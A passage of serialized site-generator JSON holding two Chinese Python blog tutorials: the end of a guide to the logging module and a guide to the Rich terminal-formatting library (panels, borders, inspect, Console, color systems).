False\n",{"type":18,"tag":297,"props":36500,"children":36501},{"class":299,"line":13724},[36502],{"type":18,"tag":297,"props":36503,"children":36504},{},[36505],{"type":24,"value":19492},{"type":18,"tag":297,"props":36507,"children":36508},{"class":299,"line":13732},[36509],{"type":18,"tag":297,"props":36510,"children":36511},{},[36512],{"type":24,"value":17895},{"type":18,"tag":297,"props":36514,"children":36515},{"class":299,"line":13786},[36516],{"type":18,"tag":297,"props":36517,"children":36518},{},[36519],{"type":24,"value":9524},{"type":18,"tag":297,"props":36521,"children":36522},{"class":299,"line":13794},[36523],{"type":18,"tag":297,"props":36524,"children":36525},{"emptyLinePlaceholder":793},[36526],{"type":24,"value":796},{"type":18,"tag":297,"props":36528,"children":36529},{"class":299,"line":13803},[36530],{"type":18,"tag":297,"props":36531,"children":36532},{},[36533],{"type":24,"value":36534},"# 加载字典配置\n",{"type":18,"tag":297,"props":36536,"children":36537},{"class":299,"line":13845},[36538],{"type":18,"tag":297,"props":36539,"children":36540},{},[36541],{"type":24,"value":36542},"logging.config.dictConfig(LOGGING_CONFIG)\n",{"type":18,"tag":297,"props":36544,"children":36545},{"class":299,"line":13887},[36546],{"type":18,"tag":297,"props":36547,"children":36548},{"emptyLinePlaceholder":793},[36549],{"type":24,"value":796},{"type":18,"tag":297,"props":36551,"children":36552},{"class":299,"line":13927},[36553],{"type":18,"tag":297,"props":36554,"children":36555},{},[36556],{"type":24,"value":36557},"# 获取日志器并使用\n",{"type":18,"tag":297,"props":36559,"children":36560},{"class":299,"line":13943},[36561],{"type":18,"tag":297,"props":36562,"children":36563},{},[36564],{"type":24,"value":35071},{"type":18,"tag":297,"props":36566,"children":36567},{"class":299,"line":15315},[36568],{"type":18,"tag":297,"props":36569,"children":36570},{},[36571],{"type":24,"value":36572},"logger.info(\"通过字典配置加载的日志信息\")\n",{"type":18,"tag":19,"props":36574,"children":36576},{"id":36575},"六总结",[36577],{"type":24,"value":36578},"六、总结",{"type":18,"tag":154,"props":36580,"children":36581},{},[36582,36599,36609,36618,36628],{"type":18,"tag":158,"props":36583,"children":36584},{},[36585,36590,36592,36597],{"type":18,"tag":105,"props":36586,"children":36587},{},[36588],{"type":24,"value":36589},"logging 是 Python 内置标准库",{"type":24,"value":36591},"，无需额外安装，是项目日志处理的首选工具，优于",{"type":18,"tag":74,"props":36593,"children":36595},{"className":36594},[],[36596],{"type":24,"value":34598},{"type":24,"value":36598},"函数；",{"type":18,"tag":158,"props":36600,"children":36601},{},[36602,36607],{"type":18,"tag":105,"props":36603,"children":36604},{},[36605],{"type":24,"value":36606},"核心要素",{"type":24,"value":36608},"：四大组件（Logger\u002FHandler\u002FFormatter\u002FFilter）、五级日志级别（DEBUG~CRITICAL），支撑灵活的日志管理；",{"type":18,"tag":158,"props":36610,"children":36611},{},[36612,36616],{"type":18,"tag":105,"props":36613,"children":36614},{},[36615],{"type":24,"value":3007},{"type":24,"value":36617},"：日志分级输出、多目标持久化、自定义格式、日志切割，满足开发 \u002F 测试 \u002F 生产环境的不同需求；",{"type":18,"tag":158,"props":36619,"children":36620},{},[36621,36626],{"type":18,"tag":105,"props":36622,"children":36623},{},[36624],{"type":24,"value":36625},"配置方式",{"type":24,"value":36627},"：代码配置（简单场景）、ini 配置文件（传统项目）、字典配置（现代项目），可按需选择；",{"type":18,"tag":158,"props":36629,"children":36630},{},[36631,36635],{"type":18,"tag":105,"props":36632,"children":36633},{},[36634],{"type":24,"value":5323},{"type":24,"value":36636},"：中大型 Python 项目开发、后端服务调试、生产环境问题排查、数据监控等，是 Python 工程师必备技能。",{"type":18,"tag":651,"props":36638,"children":36639},{},[36640],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":36642},[36643,36644,36645,36646,36652,36657],{"id":34603,"depth":657,"text":34606},{"id":34662,"depth":657,"text":34665},{"id":34748,"depth":657,"text":34751},{"id":34949,"depth":657,"text":34952,"children":36647},[36648,36649,36650,36651],{"id":34955,"depth":662,"text":34958},{"id":35031,"depth":662,"text":35034},{"id":35348,"depth":662,"text":35351},{"id":35574,"depth":662,"text":35577},{"id":35794,"depth":657,"text":35797,"children":36653},[36654,36655,36656],{"id":35805,"depth":662,"text":35808},{"id":35816,"depth":662,"text":35819},{"id":36222,"depth":662,"text":36225},{"id":36575,"depth":657,"text":36578},"content:blog:2026-02-15-logging-guide.md","blog\u002F2026-02-15-logging-guide.md","blog\u002F2026-02-15-logging-guide",{"_path":36662,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":36663,"description":36664,"date":36665,"tags":36666,"body":36668,"_type":672,"_id":38225,"_source":674,"_file":38226,"_stem":38227,"_extension":677},"\u002Fblog\u002F2026-02-11-python-rich","Rich 终端美化示例","Python Rich库使用教程，终端美化、Panel面板、Console API、日志输出与JSON格式化。","2026-02-11",[28616,28617,36667],"美化",{"type":15,"children":36669,"toc":38221},[36670,36675,36683,36714,36721,36745,36808,36815,36823,37064,37071,37092,37161,37193,37198,37261,37268,37274,37290,37313,37321,37335,37343,37390,37415,37483,37495,37509,37517,37626,37634,37657,37665,37696,37700,37763,37770,37895,37899,38014,38021,38037,38051,38056,38079,38089,38103,38108,38136,38140,38217],{"type":18,"tag":27,"props":36671,"children":36673},{"id":36672},"简单入门",[36674],{"type":24,"value":36672},{"type":18,"tag":154,"props":36676,"children":36677},{},[36678],{"type":18,"tag":158,"props":36679,"children":36680},{},[36681],{"type":24,"value":36682},"可以在 REPL 中安装 Rich，这样 Python 数据结构会自动漂亮地打印并标注语法。具体做法如下：",{"type":18,"tag":287,"props":36684,"children":36686},{"className":28710,"code":36685,"language":28712,"meta":8,"style":8},"from rich import print as rprint  \nprint({\"原生print\":True})  \nrprint({\"现在print\":True})\n",[36687],{"type":18,"tag":74,"props":36688,"children":36689},{"__ignoreMap":8},[36690,36698,36706],{"type":18,"tag":297,"props":36691,"children":36692},{"class":299,"line":300},[36693],{"type":18,"tag":297,"props":36694,"children":36695},{},[36696],{"type":24,"value":36697},"from rich import print as rprint  \n",{"type":18,"tag":297,"props":36699,"children":36700},{"class":299,"line":657},[36701],{"type":18,"tag":297,"props":36702,"children":36703},{},[36704],{"type":24,"value":36705},"print({\"原生print\":True})  \n",{"type":18,"tag":297,"props":36707,"children":36708},{"class":299,"line":662},[36709],{"type":18,"tag":297,"props":36710,"children":36711},{},[36712],{"type":24,"value":36713},"rprint({\"现在print\":True})\n",{"type":18,"tag":34,"props":36715,"children":36716},{},[36717],{"type":18,"tag":54,"props":36718,"children":36720},{"alt":8,"src":36719},"\u002Fimages\u002Fblog\u002Fpython-rich\u002Ffile-20260211114405172.png",[],{"type":18,"tag":154,"props":36722,"children":36723},{"start":657},[36724],{"type":18,"tag":158,"props":36725,"children":36726},{},[36727,36729,36735,36737,36743],{"type":24,"value":36728},"利用 ",{"type":18,"tag":74,"props":36730,"children":36732},{"className":36731},[],[36733],{"type":24,"value":36734},"rich",{"type":24,"value":36736}," 库的 ",{"type":18,"tag":74,"props":36738,"children":36740},{"className":36739},[],[36741],{"type":24,"value":36742},"Panel",{"type":24,"value":36744}," 组件创建一个带边框的面板，并输出醒目的文本，代码如下：",{"type":18,"tag":287,"props":36746,"children":36748},{"className":28710,"code":36747,"language":28712,"meta":8,"style":8},"# 导入rich库的Panel组件和增强版print函数  \nfrom rich.panel import Panel  \nfrom rich import print  \n  \n# 创建并打印带样式的面板  \n# Panel.fit() 会自适应内容宽度，border_style设置边框样式，文本使用加粗黄色  \nprint(Panel.fit(\"[bold yellow]Hi, I'm a Panel[\u002Fbold yellow]\", border_style=\"red\"))\n",[36749],{"type":18,"tag":74,"props":36750,"children":36751},{"__ignoreMap":8},[36752,36760,36768,36776,36784,36792,36800],{"type":18,"tag":297,"props":36753,"children":36754},{"class":299,"line":300},[36755],{"type":18,"tag":297,"props":36756,"children":36757},{},[36758],{"type":24,"value":36759},"# 导入rich库的Panel组件和增强版print函数  \n",{"type":18,"tag":297,"props":36761,"children":36762},{"class":299,"line":657},[36763],{"type":18,"tag":297,"props":36764,"children":36765},{},[36766],{"type":24,"value":36767},"from rich.panel import Panel  \n",{"type":18,"tag":297,"props":36769,"children":36770},{"class":299,"line":662},[36771],{"type":18,"tag":297,"props":36772,"children":36773},{},[36774],{"type":24,"value":36775},"from rich import print  \n",{"type":18,"tag":297,"props":36777,"children":36778},{"class":299,"line":799},[36779],{"type":18,"tag":297,"props":36780,"children":36781},{},[36782],{"type":24,"value":36783},"  \n",{"type":18,"tag":297,"props":36785,"children":36786},{"class":299,"line":808},[36787],{"type":18,"tag":297,"props":36788,"children":36789},{},[36790],{"type":24,"value":36791},"# 创建并打印带样式的面板  \n",{"type":18,"tag":297,"props":36793,"children":36794},{"class":299,"line":817},[36795],{"type":18,"tag":297,"props":36796,"children":36797},{},[36798],{"type":24,"value":36799},"# Panel.fit() 会自适应内容宽度，border_style设置边框样式，文本使用加粗黄色  \n",{"type":18,"tag":297,"props":36801,"children":36802},{"class":299,"line":826},[36803],{"type":18,"tag":297,"props":36804,"children":36805},{},[36806],{"type":24,"value":36807},"print(Panel.fit(\"[bold yellow]Hi, I'm a Panel[\u002Fbold yellow]\", border_style=\"red\"))\n",{"type":18,"tag":34,"props":36809,"children":36810},{},[36811],{"type":18,"tag":54,"props":36812,"children":36814},{"alt":8,"src":36813},"\u002Fimages\u002Fblog\u002Fpython-rich\u002Ffile-20260211113634572.png",[],{"type":18,"tag":154,"props":36816,"children":36817},{"start":662},[36818],{"type":18,"tag":158,"props":36819,"children":36820},{},[36821],{"type":24,"value":36822},"设置边框和文字颜色及样式效果：",{"type":18,"tag":287,"props":36824,"children":36826},{"className":28710,"code":36825,"language":28712,"meta":8,"style":8},"from rich.panel import Panel  \nfrom rich import print  \nfrom rich import box  \nfrom rich.text import Text  \n  \n# 1. 基础边框样式（已验证能正常运行）  \nprint(Panel(\"圆角边框\", border_style=\"green\", expand=False, box=box.ROUNDED))  \nprint(Panel(\"粗边框\", border_style=\"blue\", expand=False, box=box.HEAVY))  \nprint(Panel(\"ASCII边框\", border_style=\"yellow\", expand=False, box=box.ASCII))  \n  \n# 文本+底色（仅文本）  \ntext = Text(\"渐变文本\", style=\"bold red on yellow\")  \npanel = Panel(text, border_style=\"bright_cyan\",expand=False)  \nprint(panel)  \n  \n# 模拟文字渐变：每个字符不同颜色  \ntext = Text()  \ncolors = [\"red\", \"yellow\", \"green\", \"cyan\", \"blue\"]  \nfor i, color in enumerate(colors):  \n    text.append(f\"渐{i}\", style=color)  \nprint(Panel(text, border_style=\"white\", expand=False))  \n  \n# 模拟边框渐变（多个Panel拼接）  \nfrom rich.columns import Columns  \npanels = [  \n    Panel(\"左\", border_style=\"red\"),  \n    Panel(\"中\", border_style=\"yellow\"),  \n    Panel(\"右\", border_style=\"green\")  \n]  \nprint(Columns(panels))\n",[36827],{"type":18,"tag":74,"props":36828,"children":36829},{"__ignoreMap":8},[36830,36837,36844,36852,36860,36867,36875,36883,36891,36899,36906,36914,36922,36930,36938,36945,36953,36961,36969,36977,36985,36993,37000,37008,37016,37024,37032,37040,37048,37056],{"type":18,"tag":297,"props":36831,"children":36832},{"class":299,"line":300},[36833],{"type":18,"tag":297,"props":36834,"children":36835},{},[36836],{"type":24,"value":36767},{"type":18,"tag":297,"props":36838,"children":36839},{"class":299,"line":657},[36840],{"type":18,"tag":297,"props":36841,"children":36842},{},[36843],{"type":24,"value":36775},{"type":18,"tag":297,"props":36845,"children":36846},{"class":299,"line":662},[36847],{"type":18,"tag":297,"props":36848,"children":36849},{},[36850],{"type":24,"value":36851},"from rich import box  \n",{"type":18,"tag":297,"props":36853,"children":36854},{"class":299,"line":799},[36855],{"type":18,"tag":297,"props":36856,"children":36857},{},[36858],{"type":24,"value":36859},"from rich.text import Text  \n",{"type":18,"tag":297,"props":36861,"children":36862},{"class":299,"line":808},[36863],{"type":18,"tag":297,"props":36864,"children":36865},{},[36866],{"type":24,"value":36783},{"type":18,"tag":297,"props":36868,"children":36869},{"class":299,"line":817},[36870],{"type":18,"tag":297,"props":36871,"children":36872},{},[36873],{"type":24,"value":36874},"# 1. 基础边框样式（已验证能正常运行）  \n",{"type":18,"tag":297,"props":36876,"children":36877},{"class":299,"line":826},[36878],{"type":18,"tag":297,"props":36879,"children":36880},{},[36881],{"type":24,"value":36882},"print(Panel(\"圆角边框\", border_style=\"green\", expand=False, box=box.ROUNDED))  \n",{"type":18,"tag":297,"props":36884,"children":36885},{"class":299,"line":4524},[36886],{"type":18,"tag":297,"props":36887,"children":36888},{},[36889],{"type":24,"value":36890},"print(Panel(\"粗边框\", border_style=\"blue\", expand=False, box=box.HEAVY))  \n",{"type":18,"tag":297,"props":36892,"children":36893},{"class":299,"line":4533},[36894],{"type":18,"tag":297,"props":36895,"children":36896},{},[36897],{"type":24,"value":36898},"print(Panel(\"ASCII边框\", border_style=\"yellow\", expand=False, box=box.ASCII))  \n",{"type":18,"tag":297,"props":36900,"children":36901},{"class":299,"line":4546},[36902],{"type":18,"tag":297,"props":36903,"children":36904},{},[36905],{"type":24,"value":36783},{"type":18,"tag":297,"props":36907,"children":36908},{"class":299,"line":4555},[36909],{"type":18,"tag":297,"props":36910,"children":36911},{},[36912],{"type":24,"value":36913},"# 文本+底色（仅文本）  \n",{"type":18,"tag":297,"props":36915,"children":36916},{"class":299,"line":4568},[36917],{"type":18,"tag":297,"props":36918,"children":36919},{},[36920],{"type":24,"value":36921},"text = Text(\"渐变文本\", style=\"bold red on yellow\")  \n",{"type":18,"tag":297,"props":36923,"children":36924},{"class":299,"line":4577},[36925],{"type":18,"tag":297,"props":36926,"children":36927},{},[36928],{"type":24,"value":36929},"panel = Panel(text, border_style=\"bright_cyan\",expand=False)  \n",{"type":18,"tag":297,"props":36931,"children":36932},{"class":299,"line":4590},[36933],{"type":18,"tag":297,"props":36934,"children":36935},{},[36936],{"type":24,"value":36937},"print(panel)  \n",{"type":18,"tag":297,"props":36939,"children":36940},{"class":299,"line":4599},[36941],{"type":18,"tag":297,"props":36942,"children":36943},{},[36944],{"type":24,"value":36783},{"type":18,"tag":297,"props":36946,"children":36947},{"class":299,"line":4607},[36948],{"type":18,"tag":297,"props":36949,"children":36950},{},[36951],{"type":24,"value":36952},"# 模拟文字渐变：每个字符不同颜色  \n",{"type":18,"tag":297,"props":36954,"children":36955},{"class":299,"line":4616},[36956],{"type":18,"tag":297,"props":36957,"children":36958},{},[36959],{"type":24,"value":36960},"text = Text()  \n",{"type":18,"tag":297,"props":36962,"children":36963},{"class":299,"line":4624},[36964],{"type":18,"tag":297,"props":36965,"children":36966},{},[36967],{"type":24,"value":36968},"colors = [\"red\", \"yellow\", \"green\", \"cyan\", \"blue\"]  \n",{"type":18,"tag":297,"props":36970,"children":36971},{"class":299,"line":4633},[36972],{"type":18,"tag":297,"props":36973,"children":36974},{},[36975],{"type":24,"value":36976},"for i, color in enumerate(colors):  \n",{"type":18,"tag":297,"props":36978,"children":36979},{"class":299,"line":4641},[36980],{"type":18,"tag":297,"props":36981,"children":36982},{},[36983],{"type":24,"value":36984},"    text.append(f\"渐{i}\", style=color)  \n",{"type":18,"tag":297,"props":36986,"children":36987},{"class":299,"line":4650},[36988],{"type":18,"tag":297,"props":36989,"children":36990},{},[36991],{"type":24,"value":36992},"print(Panel(text, border_style=\"white\", expand=False))  \n",{"type":18,"tag":297,"props":36994,"children":36995},{"class":299,"line":4658},[36996],{"type":18,"tag":297,"props":36997,"children":36998},{},[36999],{"type":24,"value":36783},{"type":18,"tag":297,"props":37001,"children":37002},{"class":299,"line":4681},[37003],{"type":18,"tag":297,"props":37004,"children":37005},{},[37006],{"type":24,"value":37007},"# 模拟边框渐变（多个Panel拼接）  \n",{"type":18,"tag":297,"props":37009,"children":37010},{"class":299,"line":4703},[37011],{"type":18,"tag":297,"props":37012,"children":37013},{},[37014],{"type":24,"value":37015},"from rich.columns import Columns  \n",{"type":18,"tag":297,"props":37017,"children":37018},{"class":299,"line":4711},[37019],{"type":18,"tag":297,"props":37020,"children":37021},{},[37022],{"type":24,"value":37023},"panels = [  \n",{"type":18,"tag":297,"props":37025,"children":37026},{"class":299,"line":4720},[37027],{"type":18,"tag":297,"props":37028,"children":37029},{},[37030],{"type":24,"value":37031},"    Panel(\"左\", border_style=\"red\"),  \n",{"type":18,"tag":297,"props":37033,"children":37034},{"class":299,"line":4728},[37035],{"type":18,"tag":297,"props":37036,"children":37037},{},[37038],{"type":24,"value":37039},"    Panel(\"中\", border_style=\"yellow\"),  \n",{"type":18,"tag":297,"props":37041,"children":37042},{"class":299,"line":13515},[37043],{"type":18,"tag":297,"props":37044,"children":37045},{},[37046],{"type":24,"value":37047},"    Panel(\"右\", border_style=\"green\")  \n",{"type":18,"tag":297,"props":37049,"children":37050},{"class":299,"line":13553},[37051],{"type":18,"tag":297,"props":37052,"children":37053},{},[37054],{"type":24,"value":37055},"]  \n",{"type":18,"tag":297,"props":37057,"children":37058},{"class":299,"line":13591},[37059],{"type":18,"tag":297,"props":37060,"children":37061},{},[37062],{"type":24,"value":37063},"print(Columns(panels))\n",{"type":18,"tag":34,"props":37065,"children":37066},{},[37067],{"type":18,"tag":54,"props":37068,"children":37070},{"alt":8,"src":37069},"\u002Fimages\u002Fblog\u002Fpython-rich\u002Ffile-20260211113534769.png",[],{"type":18,"tag":154,"props":37072,"children":37073},{"start":799},[37074],{"type":18,"tag":158,"props":37075,"children":37076},{},[37077,37083,37085,37090],{"type":18,"tag":74,"props":37078,"children":37080},{"className":37079},[],[37081],{"type":24,"value":37082},"inspect()",{"type":24,"value":37084}," 功能：",{"type":18,"tag":105,"props":37086,"children":37087},{},[37088],{"type":24,"value":37089},"详细查看对象的属性和方法",{"type":24,"value":37091},"。你的代码效果：",{"type":18,"tag":287,"props":37093,"children":37095},{"className":28710,"code":37094,"language":28712,"meta":8,"style":8},"from rich import inspect  \n  \n# 先创建一个对象，此处以Color对象为例  \nfrom rich.color import Color  \ncolor = Color.parse(\"red\")  \n  \n# inspect(对象名[, methods=True\u002FFalse])  \ninspect(color, methods=True)\n",[37096],{"type":18,"tag":74,"props":37097,"children":37098},{"__ignoreMap":8},[37099,37107,37114,37122,37130,37138,37145,37153],{"type":18,"tag":297,"props":37100,"children":37101},{"class":299,"line":300},[37102],{"type":18,"tag":297,"props":37103,"children":37104},{},[37105],{"type":24,"value":37106},"from rich import inspect  \n",{"type":18,"tag":297,"props":37108,"children":37109},{"class":299,"line":657},[37110],{"type":18,"tag":297,"props":37111,"children":37112},{},[37113],{"type":24,"value":36783},{"type":18,"tag":297,"props":37115,"children":37116},{"class":299,"line":662},[37117],{"type":18,"tag":297,"props":37118,"children":37119},{},[37120],{"type":24,"value":37121},"# 先创建一个对象，此处以Color对象为例  \n",{"type":18,"tag":297,"props":37123,"children":37124},{"class":299,"line":799},[37125],{"type":18,"tag":297,"props":37126,"children":37127},{},[37128],{"type":24,"value":37129},"from rich.color import Color  \n",{"type":18,"tag":297,"props":37131,"children":37132},{"class":299,"line":808},[37133],{"type":18,"tag":297,"props":37134,"children":37135},{},[37136],{"type":24,"value":37137},"color = Color.parse(\"red\")  \n",{"type":18,"tag":297,"props":37139,"children":37140},{"class":299,"line":817},[37141],{"type":18,"tag":297,"props":37142,"children":37143},{},[37144],{"type":24,"value":36783},{"type":18,"tag":297,"props":37146,"children":37147},{"class":299,"line":826},[37148],{"type":18,"tag":297,"props":37149,"children":37150},{},[37151],{"type":24,"value":37152},"# inspect(对象名[, methods=True\u002FFalse])  \n",{"type":18,"tag":297,"props":37154,"children":37155},{"class":299,"line":4524},[37156],{"type":18,"tag":297,"props":37157,"children":37158},{},[37159],{"type":24,"value":37160},"inspect(color, methods=True)\n",{"type":18,"tag":210,"props":37162,"children":37163},{},[37164,37175],{"type":18,"tag":158,"props":37165,"children":37166},{},[37167,37173],{"type":18,"tag":74,"props":37168,"children":37170},{"className":37169},[],[37171],{"type":24,"value":37172},"inspect(color, methods=True)",{"type":24,"value":37174},"：显示 Color 对象所有属性和方法",{"type":18,"tag":158,"props":37176,"children":37177},{},[37178,37184,37186,37191],{"type":18,"tag":74,"props":37179,"children":37181},{"className":37180},[],[37182],{"type":24,"value":37183},"methods=True",{"type":24,"value":37185}," 表示",{"type":18,"tag":105,"props":37187,"children":37188},{},[37189],{"type":24,"value":37190},"同时显示方法",{"type":24,"value":37192},"（默认只显示属性）",{"type":18,"tag":34,"props":37194,"children":37195},{},[37196],{"type":24,"value":37197},"输出会包含以下内容，清晰列出对象内部结构：",{"type":18,"tag":287,"props":37199,"children":37201},{"className":28792,"code":37200,"language":24,"meta":8,"style":8},"╭─────────────────────────────────────────────────────────────╮\n│ \u003Crich.color.Color>                                          │\n╰─────────────────────────────────────────────────────────────╯\n┌─────────────┬───────────────────────────────────────────────┐\n│ attributes  │ color, ...                                    │\n│ methods     │ __init__, parse, ...                          │\n└─────────────┴───────────────────────────────────────────────┘\n",[37202],{"type":18,"tag":74,"props":37203,"children":37204},{"__ignoreMap":8},[37205,37213,37221,37229,37237,37245,37253],{"type":18,"tag":297,"props":37206,"children":37207},{"class":299,"line":300},[37208],{"type":18,"tag":297,"props":37209,"children":37210},{},[37211],{"type":24,"value":37212},"╭─────────────────────────────────────────────────────────────╮\n",{"type":18,"tag":297,"props":37214,"children":37215},{"class":299,"line":657},[37216],{"type":18,"tag":297,"props":37217,"children":37218},{},[37219],{"type":24,"value":37220},"│ \u003Crich.color.Color>                                          │\n",{"type":18,"tag":297,"props":37222,"children":37223},{"class":299,"line":662},[37224],{"type":18,"tag":297,"props":37225,"children":37226},{},[37227],{"type":24,"value":37228},"╰─────────────────────────────────────────────────────────────╯\n",{"type":18,"tag":297,"props":37230,"children":37231},{"class":299,"line":799},[37232],{"type":18,"tag":297,"props":37233,"children":37234},{},[37235],{"type":24,"value":37236},"┌─────────────┬───────────────────────────────────────────────┐\n",{"type":18,"tag":297,"props":37238,"children":37239},{"class":299,"line":808},[37240],{"type":18,"tag":297,"props":37241,"children":37242},{},[37243],{"type":24,"value":37244},"│ attributes  │ color, ...                                    │\n",{"type":18,"tag":297,"props":37246,"children":37247},{"class":299,"line":817},[37248],{"type":18,"tag":297,"props":37249,"children":37250},{},[37251],{"type":24,"value":37252},"│ methods     │ __init__, parse, ...                          │\n",{"type":18,"tag":297,"props":37254,"children":37255},{"class":299,"line":826},[37256],{"type":18,"tag":297,"props":37257,"children":37258},{},[37259],{"type":24,"value":37260},"└─────────────┴───────────────────────────────────────────────┘\n",{"type":18,"tag":34,"props":37262,"children":37263},{},[37264],{"type":18,"tag":54,"props":37265,"children":37267},{"alt":8,"src":37266},"\u002Fimages\u002Fblog\u002Fpython-rich\u002Ffile-20260211132234945.png",[],{"type":18,"tag":27,"props":37269,"children":37271},{"id":37270},"console-api",[37272],{"type":24,"value":37273},"Console API",{"type":18,"tag":154,"props":37275,"children":37276},{},[37277],{"type":18,"tag":158,"props":37278,"children":37279},{},[37280,37282,37288],{"type":24,"value":37281},"在项目添加一个名为 ",{"type":18,"tag":74,"props":37283,"children":37285},{"className":37284},[],[37286],{"type":24,"value":37287},"console.py",{"type":24,"value":37289}," 的文件：",{"type":18,"tag":287,"props":37291,"children":37293},{"className":28710,"code":37292,"language":28712,"meta":8,"style":8},"from rich.console import Console\nconsole = Console()\n",[37294],{"type":18,"tag":74,"props":37295,"children":37296},{"__ignoreMap":8},[37297,37305],{"type":18,"tag":297,"props":37298,"children":37299},{"class":299,"line":300},[37300],{"type":18,"tag":297,"props":37301,"children":37302},{},[37303],{"type":24,"value":37304},"from rich.console import Console\n",{"type":18,"tag":297,"props":37306,"children":37307},{"class":299,"line":657},[37308],{"type":18,"tag":297,"props":37309,"children":37310},{},[37311],{"type":24,"value":37312},"console = Console()\n",{"type":18,"tag":154,"props":37314,"children":37315},{"start":657},[37316],{"type":18,"tag":158,"props":37317,"children":37318},{},[37319],{"type":24,"value":37320},"然后可以在项目的任何位置导入控制台：",{"type":18,"tag":287,"props":37322,"children":37324},{"className":28710,"code":37323,"language":28712,"meta":8,"style":8},"from 项目名.console import console\n",[37325],{"type":18,"tag":74,"props":37326,"children":37327},{"__ignoreMap":8},[37328],{"type":18,"tag":297,"props":37329,"children":37330},{"class":299,"line":300},[37331],{"type":18,"tag":297,"props":37332,"children":37333},{},[37334],{"type":24,"value":37323},{"type":18,"tag":154,"props":37336,"children":37337},{"start":662},[37338],{"type":18,"tag":158,"props":37339,"children":37340},{},[37341],{"type":24,"value":37342},"控制台会在渲染时自动检测到一些属性。",{"type":18,"tag":210,"props":37344,"children":37345},{},[37346,37357,37368,37379],{"type":18,"tag":158,"props":37347,"children":37348},{},[37349,37355],{"type":18,"tag":74,"props":37350,"children":37352},{"className":37351},[],[37353],{"type":24,"value":37354},"size",{"type":24,"value":37356}," 是终端当前的尺寸（如果你调整窗口大小，尺寸可能会改变）。",{"type":18,"tag":158,"props":37358,"children":37359},{},[37360,37366],{"type":18,"tag":74,"props":37361,"children":37363},{"className":37362},[],[37364],{"type":24,"value":37365},"encoding",{"type":24,"value":37367}," 是默认编码（通常为“UTF-8”）。",{"type":18,"tag":158,"props":37369,"children":37370},{},[37371,37377],{"type":18,"tag":74,"props":37372,"children":37374},{"className":37373},[],[37375],{"type":24,"value":37376},"is_terminal",{"type":24,"value":37378}," 是一个布尔值，用于指示控制台实例是否正在写入终端。",{"type":18,"tag":158,"props":37380,"children":37381},{},[37382,37388],{"type":18,"tag":74,"props":37383,"children":37385},{"className":37384},[],[37386],{"type":24,"value":37387},"color_system",{"type":24,"value":37389}," 是包含控制台颜色系统的字符串（见下文）。",{"type":18,"tag":154,"props":37391,"children":37392},{"start":799},[37393],{"type":18,"tag":158,"props":37394,"children":37395},{},[37396,37398,37406,37408,37413],{"type":24,"value":37397},"有几个“标准”用于将颜色写入终端，但并非全部都被普遍支持。Rich 会自动检测合适的颜色系统，或者你可以通过给",{"type":18,"tag":43,"props":37399,"children":37403},{"href":37400,"rel":37401,"title":37402},"https:\u002F\u002Frich.readthedocs.io\u002Fen\u002Fstable\u002Freference\u002Fconsole.html#rich.console.Console",[47],"rich.console.Console",[37404],{"type":24,"value":37405},"构造器提供一个值",{"type":24,"value":37407},"来手动设置。",{"type":18,"tag":74,"props":37409,"children":37411},{"className":37410},[],[37412],{"type":24,"value":37387},{"type":24,"value":37414},"你可以设置为以下其中之一：",{"type":18,"tag":210,"props":37416,"children":37417},{},[37418,37428,37439,37450,37461,37472],{"type":18,"tag":158,"props":37419,"children":37420},{},[37421,37426],{"type":18,"tag":74,"props":37422,"children":37424},{"className":37423},[],[37425],{"type":24,"value":2496},{"type":24,"value":37427},"完全禁用颜色。",{"type":18,"tag":158,"props":37429,"children":37430},{},[37431,37437],{"type":18,"tag":74,"props":37432,"children":37434},{"className":37433},[],[37435],{"type":24,"value":37436},"\"auto\"",{"type":24,"value":37438},"会自动检测颜色系统。",{"type":18,"tag":158,"props":37440,"children":37441},{},[37442,37448],{"type":18,"tag":74,"props":37443,"children":37445},{"className":37444},[],[37446],{"type":24,"value":37447},"\"standard\"",{"type":24,"value":37449},"可显示8种颜色，包含正常和明亮变化，共16种颜色。",{"type":18,"tag":158,"props":37451,"children":37452},{},[37453,37459],{"type":18,"tag":74,"props":37454,"children":37456},{"className":37455},[],[37457],{"type":24,"value":37458},"\"256\"",{"type":24,"value":37460},"可以显示“标准”中的16种颜色，加上固定的240色调色板。",{"type":18,"tag":158,"props":37462,"children":37463},{},[37464,37470],{"type":18,"tag":74,"props":37465,"children":37467},{"className":37466},[],[37468],{"type":24,"value":37469},"\"truecolor\"",{"type":24,"value":37471},"可以显示1670万种颜色，这很可能就是你显示器能显示的所有颜色。",{"type":18,"tag":158,"props":37473,"children":37474},{},[37475,37481],{"type":18,"tag":74,"props":37476,"children":37478},{"className":37477},[],[37479],{"type":24,"value":37480},"\"windows\"",{"type":24,"value":37482},"在旧版Windows终端中可以显示8种颜色。新的Windows终端可以显示“真彩色”。",{"type":18,"tag":96,"props":37484,"children":37485},{},[37486],{"type":18,"tag":34,"props":37487,"children":37488},{},[37489,37493],{"type":18,"tag":105,"props":37490,"children":37491},{},[37492],{"type":24,"value":33382},{"type":24,"value":37494}," 警告\n设置颜色系统时要小心，如果你设置的颜色系统比终端支持的更高，文字可能会无法阅读。",{"type":18,"tag":154,"props":37496,"children":37497},{"start":808},[37498],{"type":18,"tag":158,"props":37499,"children":37500},{},[37501,37507],{"type":18,"tag":74,"props":37502,"children":37504},{"className":37503},[],[37505],{"type":24,"value":37506},"console.print()",{"type":24,"value":37508}," 主要参数：",{"type":18,"tag":34,"props":37510,"children":37511},{},[37512],{"type":18,"tag":105,"props":37513,"children":37514},{},[37515],{"type":24,"value":37516},"1. 样式相关",{"type":18,"tag":287,"props":37518,"children":37520},{"className":28710,"code":37519,"language":28712,"meta":8,"style":8},"# 基础\nstyle=\"bold italic\"           # 粗体+斜体\nstyle=\"underline2\"           # 双下划线\nstyle=\"strike\"              # 删除线\nstyle=\"reverse\"             # 反色（前景\u002F背景互换）\nstyle=\"blink\"               # 闪烁\n\n# 颜色\nstyle=\"red on white\"        # 红字白底\nstyle=\"#ff00ff on #00ff00\" # RGB颜色\n\n# 渐变（仅限前景色）\nstyle=\"gradient(red,blue)\"  # 红到蓝渐变\n",[37521],{"type":18,"tag":74,"props":37522,"children":37523},{"__ignoreMap":8},[37524,37532,37540,37548,37556,37564,37572,37579,37587,37595,37603,37610,37618],{"type":18,"tag":297,"props":37525,"children":37526},{"class":299,"line":300},[37527],{"type":18,"tag":297,"props":37528,"children":37529},{},[37530],{"type":24,"value":37531},"# 